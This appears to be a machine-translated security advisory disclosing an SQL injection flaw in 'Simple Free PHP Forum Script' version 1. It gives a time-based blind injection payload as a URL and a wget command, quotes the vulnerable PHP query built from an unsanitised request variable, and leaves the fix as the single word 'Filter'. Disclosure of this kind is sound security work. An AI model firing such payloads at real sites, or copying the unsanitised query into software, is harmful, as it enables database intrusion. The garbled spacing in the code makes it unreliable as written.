Simple Free PHP Forum Script & lt; = SQL Injection defect and repair

 

Title: Simple Free PHP Forum Script <= 1 SQL Injection Vulnerability

Author: Skraps, Jackie Craig Sparks (www.2cto.com)

: Http://www.phpforumscript.com /? Page_id = 11

Affected Versions: 1 (tested)

 

This script is riddled of unsanitized REQUEST variables that allows multiple SQL injections.

 

--------------

Test proof

--------------

Http://www.bkjia.com/forum/index. php? Show = cat & id = 1' AND 1 = IF (2> 1, BENCHMARK (500000000, MD5 (CHAR (115,113,108,109, 97,112), 0) AND id = '1

 

Wget "http://www.bkjia.com/forum/index. php? Show = cat & id = 1' AND 1 = IF (2> 1, BENCHMARK (500000000, MD5 (CHAR (115,113,108,109, 97,112), 0) AND id = '1"

 

--------------

Code Analysis

--------------

Line 150 of discussion. php:

Case 'cat ':

$ Get_id = $ _ REQUEST ["id"];

$ Page-> Set ("cat_id", $ get_id );

$ Query = "SELECT * FROM discussion_category WHERE id = '$ get_id' LIMIT 1 ";

 

Www.2cto.com solution:

Filter